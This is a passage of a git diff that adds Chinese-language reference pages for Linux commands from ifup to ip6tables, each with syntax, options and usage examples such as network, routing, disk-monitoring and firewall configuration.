+1,27 @@ +ifup +=== + +激活指定的网络接口 + +## 补充说明 + +**ifup命令** 用于激活指定的网络接口。 + +### 语法 + +``` +ifup(参数) +``` + +### 参数 + +网络接口:要激活的网络接口。 + +### 实例 + +``` +ifup eth0 #激活eth0 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/indent.md b/LearnShell/LinuxCommands/indent.md new file mode 100644 index 0000000..0335ba9 --- /dev/null +++ b/LearnShell/LinuxCommands/indent.md @@ -0,0 +1,87 @@ +indent +=== + +格式化C语言的源文件 + +## 补充说明 + +**indent命令** 可辨识C的原始代码文件,并加以格式化,以方便程序员阅读、修改等操作。 + +### 语法 + +``` +indent(选项)(源文件) +或 +indent(选项)(源文件)(-o 目标文件) +``` + +### 选项 + +``` +-bad:在声明区加上空白行; +-bap:添加空白行; +-bbb:在注释后面添加空白行; +-bc:在声明段中,如果出现逗号就换行; +-bl:if(或是else、for等)与后面执行区段的“{”不同行,且“}”自成一行-bli<缩排格数>设置{}缩排的格数; +-br:if(或是else、for等)与后面执行区段的“{”同行,且“}”自成一行; +-bs:在sizeof之后空一格; +-c<栏数>:将注释置于程序右侧指定的栏位; +-cd<栏数>:将注释置于声明右侧指定的栏位; +-cdb:注释符号自成一行; +-ce:将else置于“}”(if执行区段的结尾)之后; +-ci:<缩排格数>:叙述过长而换行时,指定换行后缩排的格数; +-cli<缩排格数>:使用case时,switch缩排的格数; +-cp<栏数>:将注释置于else与elseif叙述右侧指定的栏位; +-cs:在case之后空一格; +-d<缩排格数>:针对不是放在程序码右侧的注释,设置其缩排格数; +-di<栏数>:将声明区段的变量置于指定的栏位; +-fc1:针对放在每行最前端的注释,设置其格式; +-fca:设置所有注释的格式; +-gnu:使用指定的GNU格式,该参数为默认值; +-i<格数>:设置缩排的格数; +-ip<格数>:设置参数的缩排格数; +-kr:指定使用Kernighan&Ritchie的格式; +-lp:叙述过长而换行,且叙述中包含了括号时,将括号中的每行起始栏位内容垂直对其排列; +-nbad:在声明区段后不要加上空白行; +-nbap:在程序后面不添加空白行; +-nbbb:在注释段后面不添加空白行; +-nbc:在声明段中,即使出现逗号,也不换行; +-ncdb:注释符号不自成一行; +-nce:不将else置于“}”后面; +-ncs:不在case后面空一格; +-nfc1:不要格式化放在每行最前端的注释; +-nfca:不用格式化任何的注释; +-nip:参数不要缩排; +-nlp:叙述过长而换行,且叙述中包含了括号时,不用将括号中的每行起始栏位垂直对其排列; +-npcs:在调用函数名之后,不要添加空格; +-npro:不要读取indent的配置文件“.indent.pro”; +-npsl:程序类型与程序名称放在同一行; +-nsc:注释左侧不要添加星号; +-nsob:不用处理多余的空白行; +-nss:若for或while区段仅有一行时,在分号前不加空格; +-nv:不显示详细的信息; +-orig:使用berkeley格式; +-pcs:在调用函数名与“{”之间添加空格; +-psl:程序类型置于程序名称的前一行; +-sc:在每行注释左侧添加星号; +-sob:删除多余的空白行; +-ss:若for或swile区段仅有一行时,在分号前加上空格; +-st:将结果显示在标准输出设备上; +-T:数据类型名称缩排; +-ts<格数>:设置tab的长度; +-v:显示详细的执行过程; +--version:显示版本信息。 +``` + +### 实例 + +使用indent命令将C语言源文件"test.c"中所有的sizeof后面添加一个空格,输入如下命令: + +``` +indent -bs /home/rootlocal/桌面/test.c +``` + +执行上面的命令后,用户可以打开指定的源文件查看在sizeof后面是否都添加了一个空格。由于该命令的参数非常多,所以用户可以根据实际需要选择适合的参数进行使用即可。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/info.md b/LearnShell/LinuxCommands/info.md new file mode 100644 index 0000000..be85092 --- /dev/null +++ b/LearnShell/LinuxCommands/info.md @@ -0,0 +1,82 @@ +info +=== + +Linux下info格式的帮助指令 + +## 补充说明 + +**info命令** 是Linux下info格式的帮助指令。 + +就内容来说,info页面比man page编写得要更好、更容易理解,也更友好,但man page使用起来确实要更容易得多。一个man page只有一页,而info页面几乎总是将它们的内容组织成多个区段(称为节点),每个区段也可能包含子区段(称为子节点)。理解这个命令的窍门就是不仅要学习如何在单独的Info页面中浏览导航,还要学习如何在节点和子节点之间切换。可能刚开始会一时很难在info页面的节点之间移动和找到你要的东西,真是具有讽刺意味:原本以为对于新手来说,某个东西比man命令会更好些,但实际上学习和使用起来更困难。 + +### 语法 + +``` +info(选项)(参数) +``` + +### 选项 + +``` +-d:添加包含info格式帮助文档的目录; +-f:指定要读取的info格式的帮助文档; +-n:指定首先访问的info帮助文件的节点; +-o:输出被选择的节点内容到指定文件。 +``` + +### 参数 + +帮助主题:指定需要获得帮助的主题,可以是指令、函数以及配置文件。 + +### 实例 + +在info后面输入命令的名称就可以查看该命令的info帮助文档了: + +``` +info info +``` + +面介绍一下它的几个常用快捷键。 + +``` + **?键:** 它就会显示info的常用快捷键。 + **N键:** 显示(相对于本节点的)下一节点的文档内容。 + **P键:** 显示(相对于本节点的)前一节点的文档内容。 + **U键:** 进入当前命令所在的主题。 + **M键:** 敲M键后输入命令的名称就可以查看该命令的帮助文档了。 + **G键:** 敲G键后输入主题名称,进入该主题。 + **L键:** 回到上一个访问的页面。 + **SPACE键:** 向前滚动一页。 + **BACKUP或DEL键:** 向后滚动一页。 + **Q:** 退出info。 +``` + + **命令** + +``` + **?** 显示帮助窗口 + +在帮助窗口中: + **Ctrl-x 0** 关闭帮助窗口 + **Ctrl-x Ctrl-c** 关闭整个 Info + + **q** 退出 info + **n** 打开与本 Node 关联的下一个 Node + **p** 打开与本 Node 关联的前一个 Node + **u** 打开与本 Node 关联的上一个 Node + **l** 回到上一次访问的 Node + **m或g** 选择一个菜单项(Node 的名字) + 输入指定菜单的名字后按回车,打开指定菜单项关联的 Node + **空格键** 下一页(PageDown 也可以,下一页从当前页的最后两行开始算起) + 下一个 Node (若当前页在 Node 文档的末尾) + **Del 键** 上一页(PageUp 也可以,上一页从当前页的开始两行开始算起) + 上一个 Node (若当前页 Node 文档的开始) + + **b 或 t 或 Home** 文档的开始(b 是 begining 的意思) + **e 或 End** 文档的末尾(b 是 ending 的意思) + **Ctrl-l** 刷新当前页,若当前文档显示情况有问题时 + **Ctrl-g** 取消所键入的指令 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/init.md b/LearnShell/LinuxCommands/init.md new file mode 100644 index 0000000..c18cb7d --- /dev/null +++ b/LearnShell/LinuxCommands/init.md @@ -0,0 +1,50 @@ +init +=== + +init进程是所有Linux进程的父进程 + +## 补充说明 + +**init命令** 是Linux下的进程初始化工具,init进程是所有Linux进程的父进程,它的进程号为1。init命令是Linux操作系统中不可缺少的程序之一,init进程是Linux内核引导运行的,是系统中的第一个进程。 + +### 语法 + +``` +init(选项)(参数) +``` + +### 选项 + +``` +-b:不执行相关脚本而直接进入单用户模式; +-s:切换到单用户模式。 +``` + +### 参数 + +运行等级:指定Linux系统要切换到的运行等级。 + +### 实例 + +几个常用的命令 + +查看系统进程命令:`ps -ef | head` +查看init的配置文件:`more /etc/inittab` +查看系统当前运行的级别:`runlevel` + + **运行级别** + +到底什么是运行级呢?简单的说,运行级就是操作系统当前正在运行的功能级别。这个级别从0到6 ,具有不同的功能。你也可以在`/etc/inittab`中查看它的英文介绍。 + +``` +#0 停机(千万不能把initdefault 设置为0) +#1 单用户模式 +#2 多用户,没有 NFS(和级别3相似,会停止部分服务) +#3 完全多用户模式 +#4 没有用到 +#5 x11(Xwindow) +#6 重新启动(千万不要把initdefault 设置为6) +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/inotifywait.md b/LearnShell/LinuxCommands/inotifywait.md new file mode 100644 index 0000000..12da42d --- /dev/null +++ b/LearnShell/LinuxCommands/inotifywait.md @@ -0,0 +1,194 @@ +inotifywait +=== + +异步文件系统监控机制 + +## 补充说明 + +**Inotify** 一种强大的、细粒度的、异步文件系统监控机制,它满足各种各样的文件监控需要,可以监控文件系统的访问属性、读写属性、权限属性、删除创建、移动等操作,也就是可以监控文件发生的一切变化。。 + + **inotify-tools** 是一个C库和一组命令行的工作提供Linux下inotify的简单接口。inotify-tools安装后会得到`inotifywait`和`inotifywatch`这两条命令: + +* **inotifywait命令** 可以用来收集有关文件访问信息,Linux发行版一般没有包括这个命令,需要安装inotify-tools,这个命令还需要将inotify支持编译入Linux内核,好在大多数Linux发行版都在内核中启用了inotify。 +* **inotifywatch命令** 用于收集关于被监视的文件系统的统计数据,包括每个 inotify 事件发生多少次。 + +开始之前需要检测系统内核是否支持inotify: + +使用`uname -r`命令检查Linux内核,如果低于2.6.13,就需要重新编译内核加入inotify的支持。 + +使用`ll /proc/sys/fs/inotify`命令,是否有以下三条信息输出,如果没有表示不支持。 + +``` +ll /proc/sys/fs/inotify +total 0 +-rw-r--r-- 1 root root 0 Jan 4 15:41 max_queued_events +-rw-r--r-- 1 root root 0 Jan 4 15:41 max_user_instances +-rw-r--r-- 1 root root 0 Jan 4 15:41 max_user_watches + +``` + +### 安装inotify-tools + +* inotify-tools项目地址:https://github.com/rvoicilas/inotify-tools +* inotify-tools下载地址:http://github.com/downloads/rvoicilas/inotify-tools/inotify-tools-3.14.tar.gz + +``` +#CentOS release 5.8/64位: +tar zxvf inotify-tools-3.14.tar.gz +cd inotify-tools-3.14 +./configure +make +make install +``` + +其他Linux发行版安装方法可以参见:https://github.com/rvoicilas/inotify-tools/wiki#wiki-getting + +### inotify相关参数 + +inotify定义了下列的接口参数,可以用来限制inotify消耗kernel memory的大小。由于这些参数都是内存参数,因此,可以根据应用需求,实时的调节其大小: + +* `/proc/sys/fs/inotify/max_queued_evnets`表示调用inotify_init时分配给inotify instance中可排队的event的数目的最大值,超出这个值的事件被丢弃,但会触发IN_Q_OVERFLOW事件。 +* `/proc/sys/fs/inotify/max_user_instances`表示每一个real user id可创建的inotify instatnces的数量上限。 +* `/proc/sys/fs/inotify/max_user_watches`表示每个inotify instatnces可监控的最大目录数量。如果监控的文件数目巨大,需要根据情况,适当增加此值的大小。 + +根据以上在32位或者64位系统都可以执行: + +``` +echo 104857600 > /proc/sys/fs/inotify/max_user_watches +echo 'echo 104857600 > /proc/sys/fs/inotify/max_user_watches' >> /etc/rc.local +``` + +如果遇到以下错误: + +``` +inotifywait: error while loading shared libraries: libinotifytools.so.0: cannot open shared object file: No such file or directory +``` + +``` + **解决方法:** +32位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib/libinotifytools.so.0 +64位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib64/libinotifytools.so.0 +``` + +### inotifywait命令使用 + +``` +#!/bin/bash +#filename watchdir.sh +path=$1 +/usr/local/bin/inotifywait -mrq --timefmt '%d/%m/%y/%H:%M' --format '%T %w %f' -e modify,delete,create,attrib $path + +执行输出: +./watchdir.sh /data/wsdata/tools/ +04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp +04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swx +04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swx +04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp +04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp +04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp +04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp +04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp +04/01/13/16:35 /data/wsdata/tools/ 4913 +04/01/13/16:35 /data/wsdata/tools/ 4913 +04/01/13/16:35 /data/wsdata/tools/ 4913 +04/01/13/16:35 /data/wsdata/tools/ j.jsp +04/01/13/16:35 /data/wsdata/tools/ j.jsp +04/01/13/16:35 /data/wsdata/tools/ j.jsp +04/01/13/16:35 /data/wsdata/tools/ j.jsp~ +04/01/13/16:35 /data/wsdata/tools/ .j.jsp.swp + +``` + +### inotifywait命令参数 + +* `-m`是要持续监视变化。 +* `-r`使用递归形式监视目录。 +* `-q`减少冗余信息,只打印出需要的信息。 +* `-e`指定要监视的事件列表。 +* `--timefmt`是指定时间的输出格式。 +* `--format`指定文件变化的详细信息。 + +#### 可监听的事件 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
事件描述
access **访问** ,读取文件。
modify **修改** ,文件内容被修改。
attrib **属性** ,文件元数据被修改。
move **移动** ,对文件进行移动操作。
create **创建** ,生成新文件
open **打开** ,对文件进行打开操作。
close **关闭** ,对文件进行关闭操作。
delete **删除** ,文件被删除。
+ + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/insmod.md b/LearnShell/LinuxCommands/insmod.md new file mode 100644 index 0000000..46677f4 --- /dev/null +++ b/LearnShell/LinuxCommands/insmod.md @@ -0,0 +1,49 @@ +insmod +=== + +将给定的模块加载到内核中 + +## 补充说明 + +**insmod命令** 用于将给定的模块加载到内核中。Linux有许多功能是通过模块的方式,在需要时才载入kernel。如此可使kernel较为精简,进而提高效率,以及保有较大的弹性。这类可载入的模块,通常是设备驱动程序。 + +### 语法 + +``` +insmod(选项)(参数) +``` + +### 选项 + +``` +-f:不检查目前kernel版本与模块编译时的kernel版本是否一致,强制将模块载入; +-k:将模块设置为自动卸除; +-m:输出模块的载入信息; +-o<模块名称>:指定模块的名称,可使用模块文件的文件名; +-p:测试模块是否能正确地载入kernel; +-s:将所有信息记录在系统记录文件中; +-v:执行时显示详细的信息; +-x:不要汇出模块的外部符号; +-X:汇出模块所有的外部符号,此为预设置。 +``` + +### 参数 + +内核模块:指定要加载的内核模块文件。 + +### 实例 + +加载RAID1阵列级别模块,如下所示: + +``` +[root@localhost boot]# insmod /lib/modules/2.6. +18-8.el5/kernel/drivers/md/raid1.ko + +[root@localhost boot]# lsmod | grep raid1 +raid1 25153 0 +``` + +从以上显示结果可知,RAID1模块已加载成功。只是在使用insmod命令加载模块时,需要使用绝对路径方能加载,且加载时无法自动解决依赖关系。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/install.md b/LearnShell/LinuxCommands/install.md new file mode 100644 index 0000000..cb4bd2a --- /dev/null +++ b/LearnShell/LinuxCommands/install.md @@ -0,0 +1,81 @@ +install +=== + +安装或升级软件或备份数据 + +## 补充说明 + +**install命令** 的作用是安装或升级软件或备份数据,它的使用权限是所有用户。install命令和cp命令类似,都可以将文件/目录拷贝到指定的地点。但是,install允许你控制目标文件的属性。install通常用于程序的makefile,使用它来将程序拷贝到目标(安装)目录。 + +### 语法 + +``` +install [OPTION]... [-T] SOURCE DEST +install [OPTION]... SOURCE... DIRECTORY +install [OPTION]... -t DIRECTORY SOURCE... +install [OPTION]... -d DIRECTORY... +``` + +在前两种格式中,会将<来源>复制至<目的地>或将多个<来源>文件复制至已存在的<目录>,同时设定权限模式及所有者/所属组。在第三种格式中,会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。 + +### 选项 + +``` +--backup[=CONTROL]:为每个已存在的目的地文件进行备份。 +-b:类似 --backup,但不接受任何参数。 +-c:(此选项不作处理)。 +-d,--directory:所有参数都作为目录处理,而且会创建指定目录的所有主目录。 +-D:创建<目的地>前的所有主目录,然后将<来源>复制至 <目的地>;在第一种使用格式中有用。 +-g,--group=组:自行设定所属组,而不是进程目前的所属组。 +-m,--mode=模式:自行设定权限模式 (像chmod),而不是rwxr-xr-x。 +-o,--owner=所有者:自行设定所有者 (只适用于超级用户)。 +-p,--preserve-timestamps:以<来源>文件的访问/修改时间作为相应的目的地文件的时间属性。 +-s,--strip:用strip命令删除symbol table,只适用于第一及第二种使用格式。 +-S,--suffix=后缀:自行指定备份文件的<后缀>。 +-v,--verbose:处理每个文件/目录时印出名称。 +--help:显示此帮助信息并离开。 +--version:显示版本信息并离开。 +``` + +### 实例 + +``` +install -d [option] DIRECTORY [DIRECTORY...] +``` + +支持多个,类似`mkdir -p`支持递归。例如:`install -d a/b/c e/f`结果和`mkdir -p a/b/c e/f`一样。 + +``` +install [option] SOURCE DEST +``` + + **复制SOURCE文件(测试不能是目录)到DEST file(文件):** + +``` +install a/e c +结果类似: +cp a/e c #注意c必须是文件。 +``` + + **有用选项`-D`:** + +``` +install -D x a/b/c +效果类似: +mkdir -p a/b && cp x a/b/c +``` + +``` +install [option] SOURCE [SOURCE...] DIRECTORY +``` + + **复制多个SOURCE文件到目的目录:** + +``` +install a/* d +``` + +其中d是目录。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/iostat.md b/LearnShell/LinuxCommands/iostat.md new file mode 100644 index 0000000..fd6b552 --- /dev/null +++ b/LearnShell/LinuxCommands/iostat.md @@ -0,0 +1,185 @@ +iostat +=== + +监视系统输入输出设备和CPU的使用情况 + +## 补充说明 + +**iostat命令** 被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况。同vmstat一样,iostat也有一个弱点,就是它不能对某个进程进行深入分析,仅对系统的整体情况进行分析。 + +### 语法 + +``` +iostat(选项)(参数) +``` + +### 选项 + +``` +-c:仅显示CPU使用情况; +-d:仅显示设备利用率; +-k:显示状态以千字节每秒为单位,而不使用块每秒; +-m:显示状态以兆字节每秒为单位; +-p:仅显示块设备和所有被使用的其他分区的状态; +-t:显示每个报告产生时的时间; +-V:显示版号并退出; +-x:显示扩展状态。 +``` + +### 参数 + +* 间隔时间:每次报告的间隔时间(秒); +* 次数:显示报告的次数。 + +### 实例 + +用`iostat -x /dev/sda1`来观看磁盘I/O的详细情况: + +``` +iostat -x /dev/sda1 +Linux 2.6.18-164.el5xen (localhost.localdomain) +2010年03月26日 + +avg-cpu: %user %nice %system %iowait +%steal %idle + 0.11 0.02 0.18 0.35 +0.03 99.31 + +Device: tps Blk_read/s Blk_wrtn/s +Blk_read Blk_wrtn +sda1 0.02 0.08 +0.00 2014 4 +``` + +详细说明:第二行是系统信息和监测时间,第三行和第四行显示CPU使用情况(具体内容和mpstat命令相同)。这里主要关注后面I/O输出的信息,如下所示: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
标示说明
Device监测设备名称
rrqm/s每秒需要读取需求的数量
wrqm/s每秒需要写入需求的数量
r/s 每秒实际读取需求的数量
w/s每秒实际写入需求的数量
rsec/s每秒读取区段的数量
wsec/s每秒写入区段的数量
rkB/s每秒实际读取的大小,单位为KB
wkB/s每秒实际写入的大小,单位为KB
avgrq-sz需求的平均大小区段
avgqu-sz需求的平均队列长度
await等待I/O平均的时间(milliseconds)
svctmI/O需求完成的平均时间
%util被I/O需求消耗的CPU百分比
+ + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/iotop.md b/LearnShell/LinuxCommands/iotop.md new file mode 100644 index 0000000..b1e3802 --- /dev/null +++ b/LearnShell/LinuxCommands/iotop.md @@ -0,0 +1,84 @@ +iotop +=== + +用来监视磁盘I/O使用状况的工具 + +## 补充说明 + +**iotop命令** 是一个用来监视磁盘I/O使用状况的top类工具。iotop具有与top相似的UI,其中包括PID、用户、I/O、进程等相关信息。Linux下的IO统计工具如iostat,nmon等大多数是只能统计到per设备的读写情况,如果你想知道每个进程是如何使用IO的就比较麻烦,使用iotop命令可以很方便的查看。 + +iotop使用Python语言编写而成,要求Python2.5(及以上版本)和Linux kernel2.6.20(及以上版本)。iotop提供有源代码及rpm包,可从其官方主页下载。 + +### 安装 + + **Ubuntu** + +``` +apt-get install iotop +``` + + **CentOS** + +``` +yum install iotop +``` + + **编译安装** + +``` +wget http://guichaz.free.fr/iotop/files/iotop-0.4.4.tar.gz +tar zxf iotop-0.4.4.tar.gz +python setup.py build +python setup.py install + +``` + +### 语法 + +``` +iotop(选项) +``` + +### 选项 + +``` +-o:只显示有io操作的进程 +-b:批量显示,无交互,主要用作记录到文件。 +-n NUM:显示NUM次,主要用于非交互式模式。 +-d SEC:间隔SEC秒显示一次。 +-p PID:监控的进程pid。 +-u USER:监控的进程用户。 +``` + + **iotop常用快捷键:** + +1. 左右箭头:改变排序方式,默认是按IO排序。 +2. r:改变排序顺序。 +3. o:只显示有IO输出的进程。 +4. p:进程/线程的显示方式的切换。 +5. a:显示累积使用量。 +6. q:退出。 + +### 实例 + +直接执行iotop就可以看到效果了: + +``` +Total DISK read: 0.00 B/s | Total DISK write: 0.00 B/s + TID PRIO USER DISK READ DISK WRITE SWAPIN IO> command + 1 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % init [3] + 2 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [kthreadd] + 3 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [migration/0] + 4 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [ksoftirqd/0] + 5 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [watchdog/0] + 6 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [migration/1] + 7 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [ksoftirqd/1] + 8 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [watchdog/1] + 9 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [events/0] + 10 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [events/1] + 11 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [khelper] +2572 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [bluetooth] +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ip.md b/LearnShell/LinuxCommands/ip.md new file mode 100644 index 0000000..db4168d --- /dev/null +++ b/LearnShell/LinuxCommands/ip.md @@ -0,0 +1,136 @@ +ip +=== + +网络配置工具 + +## 补充说明 + +**ip命令** 用来显示或操纵Linux主机的路由、网络设备、策略路由和隧道,是Linux下较新的功能强大的网络配置工具。 + +### 语法 + +``` +ip(选项)(参数) +Usage: ip [ OPTIONS ] OBJECT { COMMAND | help } + ip [ -force ] -batch filename +``` + +### 选项 + +``` +OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | + tunnel | tuntap | maddress | mroute | mrule | monitor | xfrm | + netns | l2tp | macsec | tcp_metrics | token } + +-V:显示指令版本信息; +-s:输出更详细的信息; +-f:强制使用指定的协议族; +-4:指定使用的网络层协议是IPv4协议; +-6:指定使用的网络层协议是IPv6协议; +-0:输出信息每条记录输出一行,即使内容较多也不换行显示; +-r:显示主机时,不使用IP地址,而使用主机的域名。 +``` + +### 参数 + +``` +OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] | + -h[uman-readable] | -iec | + -f[amily] { inet | inet6 | ipx | dnet | bridge | link } | + -4 | -6 | -I | -D | -B | -0 | + -l[oops] { maximum-addr-flush-attempts } | + -o[neline] | -t[imestamp] | -ts[hort] | -b[atch] [filename] | + -rc[vbuf] [size] | -n[etns] name | -a[ll] } + +网络对象:指定要管理的网络对象; +具体操作:对指定的网络对象完成具体操作; +help:显示网络对象支持的操作命令的帮助信息。 +``` + +### 实例 + +```bash +ip link show # 显示网络接口信息 +ip link set eth0 upi # 开启网卡 +ip link set eth0 down # 关闭网卡 +ip link set eth0 promisc on # 开启网卡的混合模式 +ip link set eth0 promisc offi # 关闭网卡的混个模式 +ip link set eth0 txqueuelen 1200 # 设置网卡队列长度 +ip link set eth0 mtu 1400 # 设置网卡最大传输单元 +ip addr show # 显示网卡IP信息 +ip addr add 192.168.0.1/24 dev eth0 # 设置eth0网卡IP地址192.168.0.1 +ip addr del 192.168.0.1/24 dev eth0 # 删除eth0网卡IP地址 + +ip route show # 显示系统路由 +ip route add default via 192.168.1.254 # 设置系统默认路由 +ip route list # 查看路由信息 +ip route add 192.168.4.0/24 via 192.168.0.254 dev eth0 # 设置192.168.4.0网段的网关为192.168.0.254,数据走eth0接口 +ip route add default via 192.168.0.254 dev eth0 # 设置默认网关为192.168.0.254 +ip route del 192.168.4.0/24 # 删除192.168.4.0网段的网关 +ip route del default # 删除默认路由 +ip route delete 192.168.1.0/24 dev eth0 # 删除路由 +``` + +**用ip命令显示网络设备的运行状态** + +``` +[root@localhost ~]# ip link list +1: lo: mtu 16436 qdisc noqueue + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 +2: eth0: mtu 1500 qdisc pfifo_fast qlen 1000 + link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff +3: eth1: mtu 1500 qdisc pfifo_fast qlen 1000 + link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff +``` + +**显示更加详细的设备信息** + +``` +[root@localhost ~]# ip -s link list +1: lo: mtu 16436 qdisc noqueue + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + RX: bytes packets errors dropped overrun mcast + 5082831 56145 0 0 0 0 + TX: bytes packets errors dropped carrier collsns + 5082831 56145 0 0 0 0 +2: eth0: mtu 1500 qdisc pfifo_fast qlen 1000 + link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff + RX: bytes packets errors dropped overrun mcast + 3641655380 62027099 0 0 0 0 + TX: bytes packets errors dropped carrier collsns + 6155236 89160 0 0 0 0 +3: eth1: mtu 1500 qdisc pfifo_fast qlen 1000 + link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff + RX: bytes packets errors dropped overrun mcast + 2562136822 488237847 0 0 0 0 + TX: bytes packets errors dropped carrier collsns + 3486617396 9691081 0 0 0 0 +``` + +**显示核心路由表** + +``` +[root@localhost ~]# ip route list +112.124.12.0/22 dev eth1 proto kernel scope link src 112.124.15.130 +10.160.0.0/20 dev eth0 proto kernel scope link src 10.160.7.81 +192.168.0.0/16 via 10.160.15.247 dev eth0 +172.16.0.0/12 via 10.160.15.247 dev eth0 +10.0.0.0/8 via 10.160.15.247 dev eth0 +default via 112.124.15.247 dev eth1 +``` + +**显示邻居表** + +``` +[root@localhost ~]# ip neigh list +112.124.15.247 dev eth1 lladdr 00:00:0c:9f:f3:88 REACHABLE +10.160.15.247 dev eth0 lladdr 00:00:0c:9f:f2:c0 STALE +``` + +**获取主机所有网络接口** + +``` +ip link | grep ^[0-9] | awk -F: '{print $2}' +``` + + diff --git a/LearnShell/LinuxCommands/ip6tables-restore.md b/LearnShell/LinuxCommands/ip6tables-restore.md new file mode 100644 index 0000000..a6638ee --- /dev/null +++ b/LearnShell/LinuxCommands/ip6tables-restore.md @@ -0,0 +1,24 @@ +ip6tables-restore +=== + +还原ip6tables表 + +## 补充说明 + +**ip6tables-restore命令** 用来还原ip6tables表。 + +### 语法 + +``` +ip6tables-restore(选项) +``` + +### 选项 + +``` +-c:指定在还原iptables表时,还原当前的数据包计数器和字节计数器值; +-t:指定要还原的表的名称。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ip6tables-save.md b/LearnShell/LinuxCommands/ip6tables-save.md new file mode 100644 index 0000000..3513d74 --- /dev/null +++ b/LearnShell/LinuxCommands/ip6tables-save.md @@ -0,0 +1,24 @@ +ip6tables-save +=== + +保存ip6tables表配置 + +## 补充说明 + +**ip6tables-save命令** 将Linux内核中ip6tables表导出到标准输出设备上。 + +### 语法 + +``` +ip6tables-save(选项) +``` + +### 选项 + +``` +-c:指定在保存iptables表时,保存当前的数据包计数器和字节计数器值; +-t:指定要保存的表的名称。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ip6tables.md b/LearnShell/LinuxCommands/ip6tables.md new file mode 100644 index 0000000..ce10378 --- /dev/null +++ b/LearnShell/LinuxCommands/ip6tables.md @@ -0,0 +1,206 @@ +ip6tables +=== + +linux中防火墙软件 + +## 补充说明 + +**ip6tables命令** 和iptables一样,都是linux中防火墙软件,不同的是ip6tables采用的TCP/ip协议为IPv6。 + +### 语法 + +``` +ip6tables(选项) +``` + +### 选项 + +``` +-t<表>:指定要操纵的表; +-A:向规则链中添加条目; +-D:从规则链中删除条目; +-i:向规则链中插入条目; +-R:替换规则链中的条目; +-L:显示规则链中已有的条目; +-F:清楚规则链中已有的条目; +-Z:清空规则链中的数据包计算器和字节计数器; +-N:创建新的用户自定义规则链; +-P:定义规则链中的默认目标; +-h:显示帮助信息; +-p:指定要匹配的数据包协议类型; +-s:指定要匹配的数据包源ip地址; +-j<目标>:指定要跳转的目标; +-i<网络接口>:指定数据包进入本机的网络接口; +-o<网络接口>:指定数据包要离开本机所使用的网络接口。 +-c<计数器>:在执行插入操作(insert),追加操作(append),替换操作(replace)时初始化包计数器和字节计数器。 +``` + +### 实例 + +在命令行窗口输入下面的指令就可以查看当前的 IPv6 防火墙配置: + +``` +ip6tables -nl --line-numbers +``` + + **/etc/sysconfig/ip6tables文件** + +使用编辑器编辑`/etc/sysconfig/ip6tables`文件: + +``` +vi /etc/sysconfig/ip6tables +``` + +可能会看到下面的默认 ip6tables 规则: + +``` +*filter +:INPUT accept [0:0] +:FORWARD ACCEPT [0:0] +:OUTPUT ACCEPT [0:0] +:RH-Firewall-1-INPUT - [0:0] +-A INPUT -j RH-Firewall-1-INPUT +-A FORWARD -j RH-Firewall-1-INPUT +-A RH-Firewall-1-INPUT -i lo -j ACCEPT +-A RH-Firewall-1-INPUT -p icmpv6 -j ACCEPT +-A RH-Firewall-1-INPUT -p 50 -j ACCEPT +-A RH-Firewall-1-INPUT -p 51 -j ACCEPT +-A RH-Firewall-1-INPUT -p udp --dport 5353 -d ff02::fb -j ACCEPT +-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT +-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT +-A RH-Firewall-1-INPUT -p udp -m udp --dport 32768:61000 -j ACCEPT +-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 32768:61000 ! --syn -j ACCEPT +-A 